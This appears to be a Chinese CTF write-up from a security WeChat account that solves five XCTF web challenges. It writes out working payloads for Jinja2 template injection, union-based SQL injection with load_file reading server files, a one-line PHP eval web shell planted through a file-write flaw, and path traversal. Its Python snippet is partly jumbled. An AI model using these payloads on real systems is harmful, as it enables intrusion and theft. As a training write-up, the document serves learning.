前言:
很久没给师傅们分享些CTF解题思路了,今天给大家带来一些比较有代表思路的WEB题供师傅们参考下思路
1,shrine:
首先打开题目,发现一堆代码:
直接右键查看源码,省的整理。
复制到netpade++审计
第十七行"/shrine/<path:shrine>" 接受一个路径参数 "shrine",并将其作为 Jinja2 模板渲染,所以极有可能存在模板注入去测试下:
路径就是代码中的/shrine下接受参数,所以输入:
http://61.147.171.105:53283/shrine/{{6*6*6}}
测试能否被解析到:
成功回显216存在模板注入。
但是在后面的代码中将config和self设置为了黑名单
传值为None,直接读取app.config['FLAG']会被过滤,所以可以读取全局变量从而间接读取到flag的值!
http://61.147.171.105:53283/shrine/%7B%7Burl_for.__globals__%7D%7D
然后利用python对象之间的引用关系来调用被禁用的函数对象
http://61.147.171.105:53283/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D
FLAG=flag{shrine_is_good_ssti}
2,simple_js:
打开题目要求输入密码:
不知道密码,但是看题目提示就是要审计js代码了,看看js代码:
发现16进制码,然后看上面几个数字
心里的思路是转换成10进制然后应该就能拿到密码:
用python转一下10进制拿到一串密码去输入试试!
密码输入正确,但是是假FLAG嘲讽用的,然后这种开放题思路比较清奇花某不是很有思路,就去看了下别的师傅的wp才指定原来是得转换成ASCII码,ASCII码直接就是FLAG,所以密码输入是个幌子根本就不需要输入密码..........
string="x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"
",") s=string.split(
"" c=
for i in s:
i = chr(int(i))
c=c+i
...
print(c)
用python继续写转换代码成功拿到FLAG,按题目要求写FLAG:
FLAG=Cyberpeace{786OsErtk12}
3,fakebook:
打开题目发现存在一个登录点和注册点,先去登录点测测有没有任意用户登录之类的:
登录失败,去利用下注册点:成功注册,发现username可点击:
点击后发现URL上存在参数?no=1
http://61.147.171.105:62246/view.php?no=1
尝试越权将?no=1改为?no=2:
报错了,但是得到了绝对路径。
再次对此参数尝试sql注入:
?no=1 and 1=1--+
?no=1 and 1=2--+
1=2时报错,存在sql注入
随后就是正常的sql注入花某节约时间直接放注入参数:
http://61.147.171.105:62246/view.php?no=1%20order%20by%205--+
?no=1 order by 5--+
http://61.147.171.105:62246/view.php?no=1%20and%201=2%20union++select%201,2,3,4--+
?no=1 and 1=2 union++select 1,2,3,4--+
随后就结合绝对路径/var/www/html/view.php猜测flag文件路径为:/var/www/html/flag.php,而数据库就算mssql所以直接尝
load_file
读取文件
:
union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
http://61.147.171.105:62246/view.php?no=1%20and%201=2%20union/**/select%201,load_file(%22/var/www/html/flag.php%22),3,4--+
然后发现无回显
但是查看源码:
发现flag,藏起来了。
FLAG=flag{c1e552fdf77049fabf65168f22f7aeab}
4,ics-07:
打开题目,发现只有【项目管理】界面点击有反应:
在左下角点击“view-source”发现给出的源码
整理一下源码供发现三段:
逐个审计下:
第一段:
检查是否设置了 GET 参数 page。如果没有设置,就会显示当前文件的源代码并终止程序。如果设置了 page 参数,但不是 index.php,就会包含一个名为 flag.php 的文件。如果 page 参数是 index.php,就会重定向到 flag.php。
第二段:
首先检查用户是否已经登录为管理员,如果是,则从 POST 请求中获取文件内容和文件名,并将文件保存到 "backup/" 目录下
第三段:
有SQL注入漏洞,使用了未经过滤的 $_GET[id] 变量拼接 SQL 语句,攻击者可以通过构造恶意的输入,绕过身份验证,用了 floatval 函数将 $_GET[id] 转换为浮点数,但是在比较时使用了字符串 '1',这会导致类型转换错误,攻击者可以利用这个漏洞绕过身份验证,将 $_SESSION['admin'] 设置为 True,这就是说任何人都可以通过访问这个页面来获取管理员权限,而当浮点不为1和最后一位为9时会查询,所以要1-9或者1ll9之类的绕过。
所以直接构造pyload:/index.php?page=flag.php&id=1-9&submit
有了,然后再通过第二段代码审计执行文件写入:
con=<?php @eval($_POST[fl]) ?>&file=xxx.php/1.php/..
值得注意的是这块file写入时的:file=xxx.php/1.php/..结合了解析漏洞,直接写入会被过滤,而配合解析漏洞也是题目描述提示的:
然后通过审计一二段代码,直接目录遍历:/uploaded/backup
蚁剑连接拿到flag
FLAG=cyberpeace{c4c0ee17bb51a571323ffb3edc04a087}
5,
warmup:
打开题目发现图片:
直接查看源码:
审计发现【source.php】去访问试试:
拿到源码,审计后有发现【hint.php】页面:
返回到【source.php】的源码中审计一下:
主要功能是根据传入的参数加载指定的文件,但是在加载文件之前会进行一些安全性检查。如果传入的参数不在白名单中,或者传入的参数不是字符串类型,或者传入的参数中包含非法字符,就会拒绝加载文件并输出一张图片,图片就是开头看见的那张。
这样一来思路基本明确了,传参拿flag,flag路径是:
再【hint.php】路径下所以参数应该就是传给hint.php的,然后再根据代码审计到的:
这两块内容基本就能确定传参?file了,所以直接构造payload:
/source.php?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg
g
FLAG=
flag{25e7bce6325c4e0c983fb97297ac6e5a}
原文始发于微信公众号(flower安全混子):XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论